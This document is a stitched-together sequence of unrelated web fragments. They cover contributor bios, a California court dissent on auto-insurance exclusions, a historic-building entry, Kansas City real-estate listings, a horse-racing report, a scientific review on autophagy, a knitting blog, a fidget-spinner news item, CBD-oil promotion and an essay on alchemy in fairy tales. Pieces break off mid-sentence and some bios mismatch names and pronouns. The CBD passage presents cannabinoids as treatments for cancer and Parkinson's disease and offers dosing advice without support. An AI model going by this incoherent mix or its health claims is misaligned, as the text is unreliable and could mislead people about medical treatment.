KAIA NIAMBI SHIVERS
Lexington, Kentucky
FATHERHOOD
A native of Harlem, he earned his BA in English from Hunter College, CUNY, and his PhD in English from Rutgers University, with a focus on African American Literature. He now lives in Lexington, Kentucky and teaches in the Whitney Young Center of Global Leadership at Kentucky State University. He co-parents a bright young son who is energetic and savvy.
DONAVAN RAMON
Los Angeles, California
TV & FILM
An editor on some of televisions popular reality shows, her love is in editing film and telling stories through TV and movies. Working for almost a decade at Sundance Film Festival, she shifts her lens to virtual reality and documentary productions.
TASHA CURTIS
Maplewood, New Jersey
FOODWAYS
Executive chef and partner of Cornbread |
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45
] | insured, which automatically gives rise to any insurable interest as defined in section 281.[7]
Having concluded that the insured clause is overbroad, the invalidity of State Farm's argument that it may be employed as a means to exclude bodily injuries to any insured under the general exclusion provision becomes apparent, because such a construction is clearly contrary to public policy as legislatively declared in sections 11580.05 and 11580.1, subdivision (c)(5). (See Farmers Ins. Exchange v. Cocking (1981) 29 Cal.3d 383, 388 [173 Cal. Rptr. 846, 628 P.2d 1]; Farmers Ins. Exchange v. Teachers Ins. Co. (1980) 101 Cal. App.3d 804, 809 [161 Cal. Rptr. 738].)
*848 The following rules of statutory construction apply: "Where the construction of a statute is necessary, it should be interpreted so as to produce a result that is reasonable ... [in light of] the context of the law ... [and with due] consideration ... [for] the consequences that will flow from a particular interpretation." (People ex rel. Riles v. Windsor University (1977) 71 Cal. App.3d 326, 332 [139 Cal. Rptr. 378].) If a statute is susceptible to two different constructions, one leading to absurd consequences and the other consistent with justice and common sense, the latter will be adopted. (Schulz v. Superior Court (1977) 66 Cal. App.3d 440, 446 [136 Cal. Rptr. 67]; Outboard Marine Corp. v. Superior Court (1975) 52 Cal. App.3d 30, 36 [124 Cal. Rptr. 852].) "`It is assumed that the Legislature has in mind existing laws when it passes a statute....'" (Bailey v. Superior Court (1977) 19 Cal.3d 970, 977, fn. 10 [140 Cal. Rptr. 669, 568 P.2d 394].) Finally, "the various parts of a statutory enactment must be harmonized by considering the particular clause or section in the context of the statutory framework as a whole." (Moyer v. Workmen's Comp. Appeals Bd. (1973) 10 Cal.3d 222, 230 [110 Cal. Rptr. 144, 514 P.2d 1224].)
Section 11580.1, subdivision (c)(5) permits an exclusion for bodily injury to "an insured," which the subdivision defined as "any insured under the policy." Section 280 further requires an insured to have an insurable interest. Section 11580.06 defines insured as the "named insured and any other person to whom coverage is afforded under the terms of any such [motor vehicle] policy." These provisions must be read together, authorizing the exclusion of any insured only if that insured has an insurable interest. For, permissive users or family members who have no ownership or control interest in the insured vehicle, do not possess an insurable interest until personal commission of an act from which liability under the policy could arise. I recognize that language within subdivision (c)(5)[8] may literally suggest the exclusion *849 would apply regardless of whether the claimant has an insurable interest. However, such a literal reading of the provision is inappropriate because then an insurer, by naming any person or class of persons whatsoever (i.e., all persons in the County of San Diego) as an additional insured under the policy without regard to insurable interest, could exclude that person or class of persons contrary to public policy pertaining to financial responsibility and the providing of as much protection to the public on the highways as possible. Also, section 11580.1 sets forth the minimum required standards for a California automobile liability policy of insurance. It specifically designates those classes of individuals which must be covered as (1) the named insured and (2) any other person using or legally responsible for the use of such motor vehicle when used by the named insured or his permittee. (Id., subd. (b)(4).) These classes, by definition, consist of persons having an insurable interest as defined in section 281. While this language does not purport to limit the carrier from providing coverage to other classes of persons, it does not reflect the intent of the Legislature to allow an insurer to extend liability coverage to persons having no legal responsibility for the use of the vehicle or who cannot be reasonably expected to use it themselves.[9]
Consequently, the determination of invalidity rests further upon the overbreadth of the general exclusion provision as to any insured patterned after the judicially approved subdivision (c)(5) (see Farmers Ins. Exchange v. Cocking, supra, 29 Cal.3d 383), resulting from its reliance upon the application of the facially overbroad insured clause. In light of my determination, it is irrelevant whether plaintiffs may have qualified as additional insured. (See Phelps v. Allstate Ins. Co. (1980) 106 Cal. App.3d 752, 758 [165 Cal. Rptr. 263].) Since this infirmity can be cured only by rewriting (reforming) the insured clause, a task which is beyond our power, the clause must be stricken. (Id., at pp. 757-759.)
Finally, State Farm's reliance upon Farmers Ins. Exchange v. Cocking, supra, 29 Cal.3d 383, is misplaced. There the Supreme Court held section 11580.1, subdivision (c)(5), "is not only consistent with state *850 public policy, ... [but] constitutes and expresses that policy." (Farmers Ins. Exchange v. Cocking, supra, 29 Cal.3d 383, 388.) The court further upheld the provision against a challenge on equal protection grounds. (Id., at pp. 389-391.) Granted, regarding the latter, the Supreme Court set forth a public policy analysis not only supporting its determination there existed several considerations fully satisfying the rational basis test, but also addressing the propriety of the family exclusion an issue not before us. It did not, however, consider or discuss, let alone condone, the incorporation of persons having no insurable interest as nominal insureds, resulting in the exposure of the insurer to no forseeable additional liability while excluding the liability claims brought by those individuals against the legitimate insureds.
To summarize, section 11850.1, subdivision (c)(5) authorizes an insurer to exclude from coverage "[l]iability for bodily injury to an insured." Section 280 provides an individual cannot be an insured under a policy absent an insurable interest. Because State Farm has defined "an insured" under their policy to include individuals who cannot possibly have an insurable interest, that definition is overbroad when used for the purpose of excluding coverage and must be stricken. Moreover, by analogy to the statutorily mandated omnibus provision, unless a member of a class of nominally insureds has an ownership or control interest in the vehicle, that member has no insurable interest until he commits an act from which liability under the policy could arise.[10]
I would reverse.
Appellants' petition for a hearing by the Supreme Court was denied February 10, 1982. Bird, C.J., was of the opinion that the petition should be granted.
NOTES
[1] All references are to the Insurance Code unless otherwise specified.
[2] Certain stipulated facts were introduced at the time of the declaratory relief trial. In addition, the automobile liability policy from which the dispute arises was entered into evidence. The policy covers only a four-month period, from May 5, 1977, to September 10, 1977, and the accident occurred within that span. At the time of the accident, the children were approximately 8 and 14 years of age, respectively.
[3] Section 11580.05, in pertinent part, reads as follows: "The Legislature declares that the public policy of this state in regard to provisions authorized or required to be included in policies affording automobile liability insurance or motor vehicle liability insurance issued or delivered in this state shall be as stated in this article, that this article expresses the total public policy of this state respecting the content of such policies...."
[4] We do not believe the classification is overbroad since the related person must live in the same household. This would make him a member of the family and within the ambit of the discussion in Cocking. Certainly there is no comparison to a group the size of all the residents of San Diego County as suggested by the dissent. It is highly unlikely, however, the carrier would want to cover as "insureds" a group that size in order to prevent suits against the named insured.
[1] State Farm concedes its defining of resident relatives as additional insureds was an "in house" decision not based on statutory definition. Thus, it concedes no statutory limits to this omnibus class. Thus, the similar clause referred to in California State Auto. Assn. Inter-Ins. Bureau v. Warwick (1976) 17 Cal.3d 190, 193 [130 Cal. Rptr. 520, 550 P.2d 1056], appears to include all relatives, even nonresidents. There, as in our case, the degree of relationship is not limited so that a California insured, who while sightseeing in Philadelphia strikes his unknown fourth cousin in a crosswalk, finds he has contracted away insurance coverage.
[2] We do not now concern ourselves with whether this contract is one of adhesion.
[3] The rationale behind this rule is apparently the avoidance of wagering contracts. (Osborne v. Security Ins. Co., supra, 155 Cal. App.2d 201, 205; 6A Appleman, Insurance Law and Practice, supra; Melnick, Cal. Auto. Insurance Law Guide (Cont.Ed.Bar 1973) § 1.11, p. 10; 1 A.L |
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] | classrooms, a gymnasium, dormitories, and staff quarters. It has been converted to apartments.
It was added to the National Register of Historic Places in 1986.
See also
National Register of Historic Places listings in southern Westchester County, New York
References
Category:School buildings on the National Register of Historic Places in New York (state)
Category:Colonial Revival architecture in New York (state)
Category:Houses completed in 1893
Category:Pelham, New York
Category:Buildings and structures in Westchester County, New York
Category:National Register of Historic Places in Westchester County, New YorkKansas City MO Real Estate & Homes for Sale
1,530 Properties Found
The median home value in Kansas City, MO is $189,900.
This is
higher than
the county median home value of $109,500.
The national median home value is $185,800.
The average price of homes sold in Kansas City, MO is $189,900.
Approximately 47.42% of Kansas City homes are owned,
compared to 38.1% rented, while
14.49% are vacant.
Kansas City real estate listings include condos, townhomes, and single family homes for sale.
Commercial properties are also available.
If you see a property you’re interested in, contact a Kansas City real estate agent to arrange a tour today!Learn more about Kansas City Real Estate.
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Fantastic Ranch Townhouse with 2 car attached garage backing to tree-filled backyard ... Loads of updates & new features make this home show like new !!! New tile flooring & carpet ... New granite countertops ... New range/oven, microwave & dishwasher ... Big L-shaped rec room in lower level walks out and has full bath as well as tons of storage area ... Very convenient location with easy highway access ... Park Hill Schools, too !!
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This is a great income producing property. Rented between $525-$550 per month and always rented quickly. This house is being sold As Is. Inspections are welcome, but Seller will not complete any repairs.
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Three words describe this home - MOVE IN READY! Home has fresh interior paint and brand new carpet. This charming home has a beautiful screened in porch that backs to a wooded lot - perfect for outdoor entertaining. Inside the living spaces are open & set around the centerpiece of stunning staircases. Kitchen is spacious & features an ornate island & lrg pantry. Formal dining room can also be utilized as a home office. No tiny bedrooms in this house - all 4 are spacious & master suite includes large bathroom
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Large corner lot property in the heart of Waldo. This is currently an investment property leased at $1250 per month. Tenants have a two year lease which expires on 3/31/2019. Home updated with new windows (2017), Water heater (2016), 6" baseboards (2015), Refinished hardwoods (2015), Garage Door Opener (2015), Updated Appliances (2017&2018). Property will only be shown upon an accepted offer. Please do not contact and or interact with tenants.
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This is a great property, Property sits on double lot. Seller has went in and taken care of everything. New flooring,new kitchen, new bathrooms. Seller motivated. Willing to help with closing cost, all appliances stay with property.
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This Super Clean Home checks all your boxes and is Move-in ready. The Windows Roof, Carpets and HVAC are all new within the last 5 years or less. Nice Eat-in Kitchen with newer appliances that all stay. Master has walk-in and a magnificent bath that's all new. Laundry is conveniently located on the Main level and newer Washer & Dryer are staying to. Open up the energy efficient French Doors out back and enjoy your Brand New Deck that overlooks a private landscaped yard that's perfectly sized, level and fenced.
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House is located on a quiet dead end street, with little traffic and no houses across or behind. house was remodeled in 2012 with double pane windows, new roof, new water heater, and new furnace and heat pump. house has some spray foam insulation, and cellulose added to attic space. house has a pool with a new pump and 3/4 surround deck, and a covered deck attached to the back of the house. large backyard that has been cross fenced for livestock if desired. front of house is fenced separate for dogs as well.
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This 1.5 story home is ready for your creative ideas to bring it back to its Glory Days! Family room features built-ins and fireplace. Formal dining room and spacious kitchen. Easy highway access, close to local parks.
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Great home! Bigger than it looks. Not a drive by. Has great room and living room. Large 2 car garage detached. Being used as a man cave now. Large back yard. Fenced in for children or your pets. Quiet neighborhood. Not a lot of traffic due to end of street is a cul-de-sac. Full dry basement.
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Lovely 2-story home, fully rehabbed in 2007, many new features since, including HVAC, roof and windows. 3 bedrooms upstairs with full bath (Shower and separate tub) and a full bath on the first floor. Wood floors thoughout.
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A space pleaser! 2300+ square feet on the main floor in this all brick KC home in Raytown schools! Main floor laundry with additional hook ups in the unfinished basement. Plumbing for a full bath in the basement. HUGE master bedroom with private bath. Family room addition has a separate basement under it for shop or storage. Many updates in the past 9 years include roof, gutters, water lines, thermal tilt in windows, deck, garage doors, door to deck, all laminate. Furnace, air & hwh only 3 years old.
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SELLING "AS-IS" In Present Condition. Grand 3 Story Home with Stone front with large front porch has style giving it great curb appeal with large room sizes. Has a detached garage w/extra parking in the back of the home, hardwood floors throughout, a large entry way with grand staircase w/ formal and eat in dining area w/ butlers pantry. The 3rd floor has been made into a large master suite with sitting area w/full bath. The home does needs a little TLC but could be a great home for someone or investment property."Carpets"
Local Products Tip by tini58de
What to buy: Actually there is not so much specific information that I can give you here. We did see lots of carpets in the suqs and we were taken to a carpet cooperative to have a little information and shopping opportunity. It was quite interesting to see the different types of materials (wool, silk, camel wool etc), patterns and colors, but non of us bought anything.
If you are interested in buying a carpet, you might want to make sure you get a proper receipt and maybe also a tax refund!Rapid Redux Posts 15th Consecutive Win
5-year-old gelding scores game victory at Thistledown in Ohio.
Rapid Redux held off several challengers en route to a game 15th consecutive victory when he won a 1 1/16-mile starter allowance at Thistledown Aug. 22 by a half-length over Hatch.
A 5-year-old gelding by Pleasantly Perfect out of Thiscatsforcaryl, by Storm Cat, Rapid Redux’s trip to Cleveland, Ohio, improved his record to 21 wins, one second, and one third from 35 career starts, with earnings of $285,594 for owner Robert Cole Jr. His attempt at 16 straight is likely to come at either the Maryland State Fair at Timonium meet or Laurel Park.
Wings On Springs jumped out to the early lead from the inside post and got the first quarter in :23.02. Rapid Redux was third and three-wide into the first turn, with Petch between the two.
The three briefly raced heads apart before a determined Rapid Redux took over to complete the half-mile in :46.06 and six furlongs in 1:12.04 while dispatching first Petch and then Wings On Springs. While never leading by more than a length, Rapid Redux held off Gold Prospect before digging deep for a game victory over a fast-closing Hatch, who trailed the field by a dozen lengths down the backstretch before taking the place by 7 1/2 lengths over Gold Prospect.
The final time was 1:46.82. The 1-5 favorite, Rapid Redux returned $2.40 and $2.10. Hatch returned $4.80 to place. With the field shortened to five, there was no show wagering.
Jockey Weldon Cloninger Jr., aboard Rapid Redux for the first time, said his mount "broke a little sluggish. I tried to take hold of him but he dragged me to the lead. Then when the other horses came to him he kept digging in. I tried to take him back a little but he wouldn’t let me.
“At the top of the stretch I thought I was out of horse, but when Gold Prospect) came to him, |
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] | kinase activity is enhanced by binding with UVRAG (UV radiation resistance-associated gene) and Bif-1 (BAX-interacting factor-1) \[[@B90-ijms-16-02641],[@B91-ijms-16-02641],[@B92-ijms-16-02641],[@B93-ijms-16-02641],[@B94-ijms-16-02641]\]. Vps34 interacts with Atg14 and targets it to the pre-autophagosome membrane, where Atg14 recruits Atg16 and LC3 \[[@B95-ijms-16-02641]\]. LC3 is the mammalian analog of Atg8 and its cytoplasmic form, LC3-I is lipidated upon conjugation with phosphatidyl-ethanolamine (PE) to form LC3-II, which is responsible for expanding the autophagosome membrane \[[@B94-ijms-16-02641],[@B95-ijms-16-02641]\]. This process is promoted by the Atg5--Atg12--Atg16L complex. After the autophagosome is assembled, it merges with the lysosome, where proteins and organelles are degraded into amino acids and fatty acids. The process of fusion is regulated by the pH of organelles' interior: low pH promotes fusion, whereas an alkaline pH inhibits this process \[[@B95-ijms-16-02641]\].
4. DNA Damage Response and Autophagy
====================================
An emerging body of evidence suggest that autophagy can play an important role in DDR ([Figure 1](#ijms-16-02641-f001){ref-type="fig"}). It was observed that after exposure to DNA-damaging agents, including ionizing radiation (IR), etoposide, camptothecin, tomozolomide or *p*-anilioaniline, not only the cell cycle was stopped, but also autophagy was induced \[[@B96-ijms-16-02641],[@B97-ijms-16-02641],[@B98-ijms-16-02641]\]. Autophagy plays a cytoprotective role during anticancer therapy with DNA-damaging agents and its inhibition can sensitize cancer cells to these agents \[[@B66-ijms-16-02641],[@B99-ijms-16-02641],[@B100-ijms-16-02641],[@B101-ijms-16-02641],[@B102-ijms-16-02641],[@B103-ijms-16-02641]\]. Additionally, the suppression of autophagy results in chromosomal instability, especially after metabolic stress, which may result in oncogene activation and tumor progression \[[@B102-ijms-16-02641],[@B103-ijms-16-02641],[@B104-ijms-16-02641]\].
4.1. Autophagy and DNA Damage Response in the Nucleus
-----------------------------------------------------
ATM is activated in response to DNA damage by the MRN complex and it plays a key role in DDR ([Figure 1](#ijms-16-02641-f001){ref-type="fig"} and [Figure 2](#ijms-16-02641-f002){ref-type="fig"}). Activation of ATM after exposure to genotoxic and oxidative agents causes repression of mTORC1 and induction of autophagy \[[@B105-ijms-16-02641],[@B106-ijms-16-02641]\]. The transduction of the signal from ATM to mTORC1 is mediated via the AMPK (5\' adenosine-monophosphate-activated protein kinase) pathway, which involves tuberous sclerosis complex 1 and 2 (TSC1/2) and phosphorylation of ULK1 \[[@B107-ijms-16-02641],[@B108-ijms-16-02641],[@B109-ijms-16-02641],[@B110-ijms-16-02641]\]. ATM can be also activated by the transcriptional factor FOXO3a (forkhead box O3) via phosphorylation \[[@B111-ijms-16-02641]\]. Under normal conditions, FOXO3a is attached to DNA, but upon DNA damage, it dissociates from DNA and interacts with ATM promoting DNA repair. Additionally, FOXO3a regulates transcription of autophagy-related genes, including LC3 or Bnip3 \[[@B112-ijms-16-02641],[@B113-ijms-16-02641],[@B114-ijms-16-02641]\].
{#ijms-16-02641-f002}
The p53 protein is crucial for DDR and plays an important role in the regulation of autophagy \[[@B115-ijms-16-02641],[@B116-ijms-16-02641],[@B117-ijms-16-02641],[@B118-ijms-16-02641],[@B119-ijms-16-02641],[@B120-ijms-16-02641],[@B121-ijms-16-02641],[@B122-ijms-16-02641],[@B123-ijms-16-02641],[@B124-ijms-16-02641]\].
PARP-1 is another protein of DDR involved in the regulation of autophagy. As described above, after a DNA lesion, PARP-1 synthesizes poly(ADP-ribose) chains that recruit the DNA damage repair proteins ([Figure 2](#ijms-16-02641-f002){ref-type="fig"}). On the other hand, when PARP-1 is hyperactivated in response to DNA damage, it causes NAD^+^ depletion leading to cellular energy failure and necrotic cell death \[[@B125-ijms-16-02641],[@B126-ijms-16-02641]\]. Recently, it was shown that during starvation conditions, ROS-induced DNA damage activated PARP-1, which caused a depletion of ATP and activation of AMP-activated protein kinase (AMPK) \[[@B127-ijms-16-02641]\]. Then AMPK sensed the energy depletion by measuring the ratio of AMP to ATP and it inhibited mTOR via TSC1/2, thus inducing autophagy \[[@B128-ijms-16-02641]\]. In addition, H~2~O~2~- and doxorubicin-induced DNA damage activates a pathway involving PARP-1, which can induce either necrosis or autophagy \[[@B129-ijms-16-02641],[@B130-ijms-16-02641]\]. Similarly, PARP-1 together with the catalytic subunit of DNA-PK (DNA-PKcs) was found to be activated by ATM during the autophagy induced by a chemopreventive agent, capsaicin, leading to DNA repair and the survival of breast cancer MCF-7 cells \[[@B130-ijms-16-02641]\].
Results of recent research suggest that sirtuins, a family of protein deacetylases dependent on NAD^+^, may play an important role in autophagy and DDR \[[@B131-ijms-16-02641]\]. The mammalian sirtuins family consists of 7 members, SIRT1--7, but in the light of recent studies, SIRT1 seems to play the most important role in autophagy/DDR, first of all due to its involvement in cellular reaction to oxidative stress and programmed death \[[@B132-ijms-16-02641]\]. SIRT1 can induce the formation of autophagosome by interaction and deacetylation of the Atg5, Atg7 and Atg8 proteins in a NAD^+^-dependent fashion \[[@B133-ijms-16-02641]\]. In addition, mediators of autophagy, mTOR1 and FOXO may be targeted by SIRT1 \[[@B134-ijms-16-02641],[@B135-ijms-16-02641]\]. SIRT1 interacts with many protein which can be, directly or indirectly, involved in DDR, but its interaction with p53 seems to be crucial for its role in DDR, because it affects transcriptional activity of p53 regulating expression of p53 downstream effectors important for cell cycle regulation and programmed death under DNA-damaging conditions \[[@B136-ijms-16-02641]\]. Therefore, SIRT1 may be involved in the regulation of autophagy in nontoxic stress, but precise mechanism underlying this involvement is not known and requires further studies.
FIP200, a 200 kDa FAK-family interacting protein, is a multifunctional protein regulating many cellular processes, including proliferation, cell migration and apoptosis, by interacting with FAK, Pyk2 (proline-rich tyrosine kinase 2), TSC1, p53, ASK1 (apoptosis signal-regulating kinase 1) or TRAF2 (TNF receptor-associated factor 2) \[[@B137-ijms-16-02641],[@B138-ijms-16-02641],[@B139-ijms-16-02641],[@B140-ijms-16-02641]\] In addition, FIP200 is a component of the ULK1/2--Atg13--FIP200 complex and is essential for activation of autophagy ([Figure 3](#ijms-16-02641-f003){ref-type="fig"}). This complex is directly regulated by mTORC1 \[[@B141-ijms-16-02641],[@B142-ijms-16-02641],[@B143-ijms-16-02641]\]. Under normal conditions, mTORC1 interacts with the complex by phosphorylation of ULK1/2 and Atg13, but when mTOR |
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] | little stack in a natural tissue, tied with yarn and added a tag I punched from some scrapbook paper I had on hand. I would enjoy receiving something like this (and haven't yet made some cloths for myself--cobbler's children...) so I hope the birthday girls feel the same way!
Oh, and did you notice I seem to be continuing what I'll call my Tess Color Palette, which began with this cut-chenille blanket and this lavender crib bedding? Why not? I think these colors are gorgeous together!
Wednesday, December 1, 2010
The landscape has sure changed around here--we're below freezing and covered in snow. Clear blue skies however, so it is gorgeous. The perfect environment for little blue mittens. I found the pattern for these (after seeing them on a linky party, and now I can't find the blog...) on the Spud and Chloe blog and just had to knit them up for my friend Amy's baby, Frankie. He is the cutest thing ever and I hadn't come up with a welcome gift yet and thought these would be perfectly cute, if not perfectly practical! I always lean towards the former and why not?
I do think there is something a bit practical about mittens on a string for babies, however (I added the string, a crocheted chain, after seeing a pair with the same on that linky party; the pattern doesn't include it). I love keeping their little hands covered and the string makes it impossible to lose a mitten. Typically you would thread the string through the arms of a jacket, where they would hang at the ready when not in use, but you could leave it out too. I would use these indoors or outdoors, and they would be so darling in a photo of a bundled-up baby! Maybe with a baby-sized scarflette!
When Amy put these on Frankie (don't worry--I know they have a bit of "frosting" in these photos but trust that they were cleaned and dried before gifting!) he seemed to love just looking at them on his cute little hands. They are a near match for his eye color--such great baby blues. So they also double as a baby toy. And, if all else fails, they would look great draped on the limbs of a Christmas tree.
I made these in 100% cotton, because it seems ideal to use a natural fiber for babies, and it will make them both stretchy and easy to care for. This is Bernat Cottontots in Blue Berry.
Monday, November 29, 2010
Before Thanksgiving, and before the series of storms that have covered our world in chilly white, I made a little scarf for Audrey. It's a looped, smallish scarf, so I'm calling it a "Looped Scarflette." It was just the thing to add a bit of warmth on a warm Fall day and now it will be perfect for tucking into coats to keep her neck warm.
This is one of the few knitted items for which I created the pattern, and it was fun, and I think successful. I figured it out based on a darling women's Anthropologie scarf my friend Margie showed me. I love the loops--makes so much sense for a child too--no chance of it falling off on the playground and getting lost.
I used two yarns knitted together: Paton's Classic Wool Roving in Cherry and Stitch Nation Bamboo Ewe in Lipstick. I love these two cheery scarlet reds and their subtley different hues and weights knitted together. Both are a blend with wool, which I picked for warmth, and Audrey said "ooohh, cozy!"
I need to work out the pattern in a variety of sizes. This was so much fun I feel a surge of Scarflettes coming on! I want one for myself (I would wear it indoors as an accessory for extra warmth), and need to make one (at least) for Scarlett, and they would make such fun gifts... I love the possibilities of combining yarns.
Friday, November 26, 2010
Every Thanksgiving my family tops the list of things I am grateful for, and so what better way to celebrate the week of Thanksgiving than with a baby blessing?
Tess was an unexpected blessing this year and it's impossible to imagine our family without her. It was nice to formally acknowledge her arrival by blessing her this past Sunday, surrounding her with family and close friends and invocations for a life filled with the good and important things. Doesn't every baby deserve this kind of welcome?
Tess wore a bonnet I finished (just in time) to match the bootees I made. I think she looks beautiful in it and I love the old-fashioned look. I can't get enough of that old-fashioned, Puritan baby look (appropriate for Thanksgiving, no?). This bonnet reminds me of the one I knitted for Scarlett last year. I made up the pattern as I went along. It was an experiment based on the bootees and it certainly isn't perfect--it is a bit big and the shaping along the back of the neck could be improved--but it worked, and it was fun to work it out. And fun that she has a couple things made specifically for her blessing day. I love the crochet ties and plain single crochet rows framing her face.
Click to read more if you are interested in the bonnet pattern and strata recipe.Germany has revealed drastic plans to deal with the fidget spinner craze, right out of the Judith 'Crusher' Collins playbook.
Customs officers at the Frankfurt airport announced on Friday (local time) they had seized 35 tonnes of the toys in May, which will now be wiped out of existence.
Fidget spinners are a hand-held toy consisting of a bearing in the centre of a three-pronged device, which is held by two fingers and spun. They took off earlier this year, and soon became a global craze - although much-loathed by parents and principals.
The German officials say the offending fidget spinners, which came from China, have small parts that could fall off and could be a choking hazard.
Customs spokeswoman Christine Strauss said the products also lacked other information like readable instructions.
The fidget spinners will be crushed.
Newshub.The cannabis plant is filled with hundreds of different compounds, several of which have been studied for decades for their therapeutic benefits. The cannabis compounds that have captured the most scientific interest are known as cannabinoids. Cannabinoids are now used in treatment for a broad—and growing—range of conditions and symptoms, from sleep and pain, to anxiety and inflammation, to Parkinson’s disease and cancer.
For people who suffer from insomnia, constant anxiety during the night or simply struggle to get a sound, restful night of undisturbed sleep, cannabis sativa essential oil may work like a charm. However, according to a research report published by Dr. Ethan Russo, Director of Research for the International Cannabis and Cannabinoids Institute, terpenoids produce an “entourage effect”.
Prescription medicine (Schedule 4) for therapeutic use containing 2 per cent (2.0%) or less of other cannabinoids commonly found in cannabis (such as ∆9-THC). A schedule 4 drug under the SUSMP is Prescription Only Medicine, or Prescription Animal Remedy – Substances, the use or supply of which should be by or on the order of persons permitted by State or Territory legislation to prescribe and should be available from a pharmacist on prescription.[71]
Online retailers: Most CBD oils are sold through online retailers. These establishments tend to have the widest product range, and many offer free doorstep delivery. Online retailers also frequently post product reviews, allowing buyers to compare different oils based on customer experiences to determine which is best for them. These reviews can also be used to evaluate the retailer based on customer service, delivery, and product quality.
Hey Linda. Thanks for your comment. I understand your frustration. Since you say you are taking Seroquel, I recommend checking with a doctor if you are mixing CBD with this and other medications. As far as dosage goes, always best to start low (0.5 mg to 20 mg of CBD) and then only add more if you need it and slowly increase your dose. A good guidebook I have been recommending lately which provides helpful information is called CBD: A Patient’s Guide to Medicinal Cannabis–Healing without the High Check it out and let me know what you think and if you have more questions 🙂
As noted in the previous section, CBD oil prices vary significantly by brand. The best practice for most is to determine a per-milligram budget for CBD oil, as well as a maximum price for the entire bottle. For example, you might decide that 10 cents per milligram or less is a reasonable budget; and that $45 (for a 450-mg concentration, based on the budget) is a maximum bottle price. Also, if ordering online, be sure to include potential shipping costs.
Cannabidiol (CBD) is a component of Cannabis sativa that has a broad spectrum of potential therapeutic effects in neuropsychiatric and other disorders. However, few studies have investigated the possible interference of CBD on the sleep-wake cycle. The aim of the present study was to evaluate the effect of a clinically anxiolytic dose of CBD on the sleep-wake cycle of healthy subjects in a crossover, double-blind design. Twenty-seven healthy volunteers that fulfilled the eligibility criteria were selected and allocated to receive either CBD (300 mg) or placebo in the first night in a double |
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] | inspiration comes from on high."
The "most humble of all" in the Masonic temple is the man who guards the door. In the apprentice lodge, the "elder whose role is now confined to keeping any profane away from this sacred enclosure." He exhibits the characteristics of the fallen god, the old Saturn who in the art of Hermes personifies material that appears sordid and despicable, but inside of which the educated artists can discover the source of their igneous fire.
Appearing just as humble and undeserving of interest to the eyes of the vulgar are a decrepit old crone, a dwarf, or modest ducks, fish, bees, ants, or ravens, without whose intervention, however, the quest would be doomed to failure. The old fairy shows the routes toward the unknown "green wood" where water dances and toward the "beautiful garden" where the rose sings, and reveals the hour when the "bird of truth" can be captured. The dwarf provides the iron wand that opens the gate of the shut castle; the ducks, fish, ants, and ravens travel across the thresholds of invisible worlds from where they bring back the objects sought by the persons for whom they are, in truth, the _doubles_ and _faithful servants._
Among such helpful animals, the raven enjoys a particular renown. We have encountered this bird frequently. We find it in the tale that bears its name, in which a young princess has assumed its appearance because of a thoughtless oath; in _The Sea Hare,_ where it hides a love-struck prince inside its egg; in _The Seven Ravens,_ where seven brothers flee in its form. It appears in _The Riddle,_ where, although dead, it slays a dozen bandits, an innkeeper, and a witch. In _The Two Travelers,_ a crow is perched on the head of each of the two hanged men who are covered in the dew that will restore sight to the tailor. In _The White Snake,_ three ravens bring an apple from over the sea, from the "ends of the world where grew the Tree of Life."
The omnipresence of the raven cannot help but attract the attention of the readers of alchemy treatises. We know because of the color of its plumage that it symbolizes the "death" and "putrefaction" of the compound in the bestiary of this corpus. And the tale _The White Snake_ emphasizes that it is precisely in this "area across the sea," in that land "at the edge of the world" where every form vanishes into the night, in this time where there is no more time that the "Tree of Life" grows.
In a context in which _Word_ and _Tree of Life_ can be taken as synonymous, the ritual of the 18th degree of Scottish Freemasonry teaches the same thing when the "knights of east and west" tell the story of the adventure they just experienced. They had traveled the world over, in vain, seeking the Word. Lost in the darkness, stumbling in weariness and discouragement, they found themselves on the brink of death. It is then that from their very depths they heard rising a voice that "whispered" to them, before "fading away," the four letters of the acronym I.N.R.I.
It is a quite a unique mule, this godfather-Good Lord who in _The Beauty with the Golden Hair_ carries his godson on his back! This Good Lord seems different from the one worshiped by the Christians. Couldn't we suspect an older presence behind this odd figure, like the remote recollection of a forgotten deity, but of the same nature as the one the Greeks called Dionysius, who actually had his own connection to the donkey, the father of the mule, and who was known in antiquity as the "good god"? This godfather-mule carries his seven-year-old godson on his back in the same way that the "wind," according to _The Emerald Tablet,_ carried the child of Hercules in its belly, and the tale specifically shows us that the water that resuscitates the bird is found in "its head."
But the mount that most often brings its knowledge and assistance is obviously the horse.
Ferdinand the Faithful's horse is white, and like many of his peers in these stories, this horse gives its rider—in perfectly clear and correct language—the instructions he needs to fulfill his quest successfully. It is not negligible that this horse is "young," nor is it that Ferdinand the Faithful is fourteen years old. Both the rider and his steed are at the age of puberty, meaning at the full ascent of the vital forces. In the Tarot of Marseille, the number XIV is precisely the number of Temperance, the Major Arcanum, which Paul Marteau tells us symbolized "the great reservoir of possibilities through the eternal play of the energies of matter."
On this card, an angel, whose brow is adorned by a red flower with five petals and who is clad in a robe that is part red and part blue, is pouring white water from a blue pitcher that he is holding in front of the red side of his robe, into a red pitcher held in front of the blue side. From the spiritual world contained in corporeal matter, the flow pours into the material world of the body that bathes in the spirit; similarly, in the mineral Work, the energy of the terrestrial sky pours into the heart of the celestial Earth.
It is a similar energy that Ferdinand the Faithful bears and that enables him to triumph over the trials he is forced to undergo by Ferdinand the Unfaithful, who everyone who has heard the story has realized is the reversed reflection of his travel companion. The existence of this valuable personal enemy, necessary for all developmental processes, is revealed in some Masonic lodges during the initiation ceremony of the 1st degree. Once the neophyte has passed through the trials, the blindfold over his eyes is removed, and he is asked if he can see in the light of the temple the presence of an enemy among those in attendance. When he has acknowledged that he sees none, he is asked to turn around because, he is told, "You do not always find your enemies in front of you. Those who are most to be feared are behind you." Making this movement, he sees the reflection of his own face in a mirror.*43
Can a more powerful conception of juvenile potency be imagined than the gushing of this "clear jet of water" in _The Two Travelers,_ impelled by the deep forces of the earth to blossom into drops of light in the castle courtyard, following the circular race of the tailor on the foal that has become a "fine fiery stallion"? Here the obvious erotic allusion accompanies a variation of the birth of the Hippocrene spring under the hoof of Pegasus, in which the alchemists saw a reflection of their first operation, the production of a certain "fountain" they called their "universal solvent" and regarded as the "sperm" of metals.
In the last part of _Ferdinand the Faithful and Ferdinand the Unfaithful,_ it is a strange confidence the horse makes to his rider when returning to the princess "her writings that remained back there in the castle." He "confessed" that he could do nothing for Ferdinand without the "goose feather carved for writing," which had been collected at the beginning of their common adventures and accidentally dropped in the water on their return voyage. Without the feather, in fact, there is no writing, and the power of the horse depends on this writing. We should understand its role in the light of these words of Artéphius, speaking of alchemy: "Is not this art also cabalistic?"
